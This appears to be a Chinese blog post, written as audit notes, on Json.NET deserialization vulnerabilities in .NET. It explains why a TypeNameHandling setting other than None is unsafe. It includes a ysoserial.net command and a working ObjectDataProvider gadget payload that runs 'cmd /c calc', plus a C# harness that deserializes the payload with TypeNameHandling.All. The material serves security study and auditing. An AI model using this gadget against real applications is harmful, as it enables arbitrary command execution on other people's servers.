zoukankan      html  css  js  c++  java
  • .Net审计之.Net Json反序列化

    .Net审计之.Net Json反序列化

    前言

    偶然下遇到一个.NET 下有意思的Json反序列化点,记录一下反序列化内容,直入主题。

    .Net Json

    常见序列化与反序列化

    NET 中常见的数据格式以及序列化方法

    官方文档:https://www.newtonsoft.com/json

    序列化

    namespace ConsoleApp1
    {
        class Program
        {
            static void Main(string[] args)
            {
                Person person = new Person();
                person.name = "nice0e3";
                person.age = 22;
    
                string json = JsonConvert.SerializeObject(person);
                Console.WriteLine(json);
                Console.ReadLine();
    
            }
    
            public class Person
            {
                public string name;
                public int age;
                static string i;
            }
        }
    }
    
    //结果:{"name":"nice0e3","age":22} 
    

    里面的i成员变量并没有被序列化进来,因为该成员变量是静态的,静态修饰的并不参与在实例化对象中,所以不会被序列化进来。

    反序列化

    string json = "{"name":"nice0e3","age":22} ";
                object v = JsonConvert.DeserializeObject(json);
                Console.WriteLine(v);
               
                Console.ReadLine();
    //结果:
    {
      "name": "nice0e3",
      "age": 22
    }
    

    反序列化攻击

    JsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理,其中TypeNameHandling可选择的成员分为五种

    默认情况下TypeNameHandling为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入,即不可触发漏洞。

    只有当 TypeNameHandling 不为 None 时,传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

    设置为非空值、也就是对象(Objects) 、数组(Arrays) 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞

    ysoserial.net:https://github.com/pwntester/ysoserial.net

    yso生成数据:

    /ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
    
    {
        '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'MethodParameters':{
            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            '$values':['cmd', '/c calc']
        },
        'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    
       static void Main(string[] args)
            {
             
                string json = @"{
        '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
        'MethodName':'Start',
        'MethodParameters':{
            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            '$values':['cmd', '/c calc']
        },
        'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
    }";
    
                Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
                {
                    TypeNameHandling = TypeNameHandling.All
                });
                Console.WriteLine(js);
                Console.ReadKey();
    

    参考

    https://www.websecuritys.cn/archives/netxlh-1.html

    https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121

  • 相关阅读:
    B.Icebound and Sequence
    Educational Codeforces Round 65 (Rated for Div. 2) D. Bicolored RBS
    Educational Codeforces Round 65 (Rated for Div. 2) C. News Distribution
    Educational Codeforces Round 65 (Rated for Div. 2) B. Lost Numbers
    Educational Codeforces Round 65 (Rated for Div. 2) A. Telephone Number
    Codeforces Round #561 (Div. 2) C. A Tale of Two Lands
    Codeforces Round #561 (Div. 2) B. All the Vowels Please
    Codeforces Round #561 (Div. 2) A. Silent Classroom
    HDU-2119-Matrix(最大匹配)
    读书的感想!
  • 原文地址:https://www.cnblogs.com/nice0e3/p/15294585.html
Copyright © 2011-2022 走看看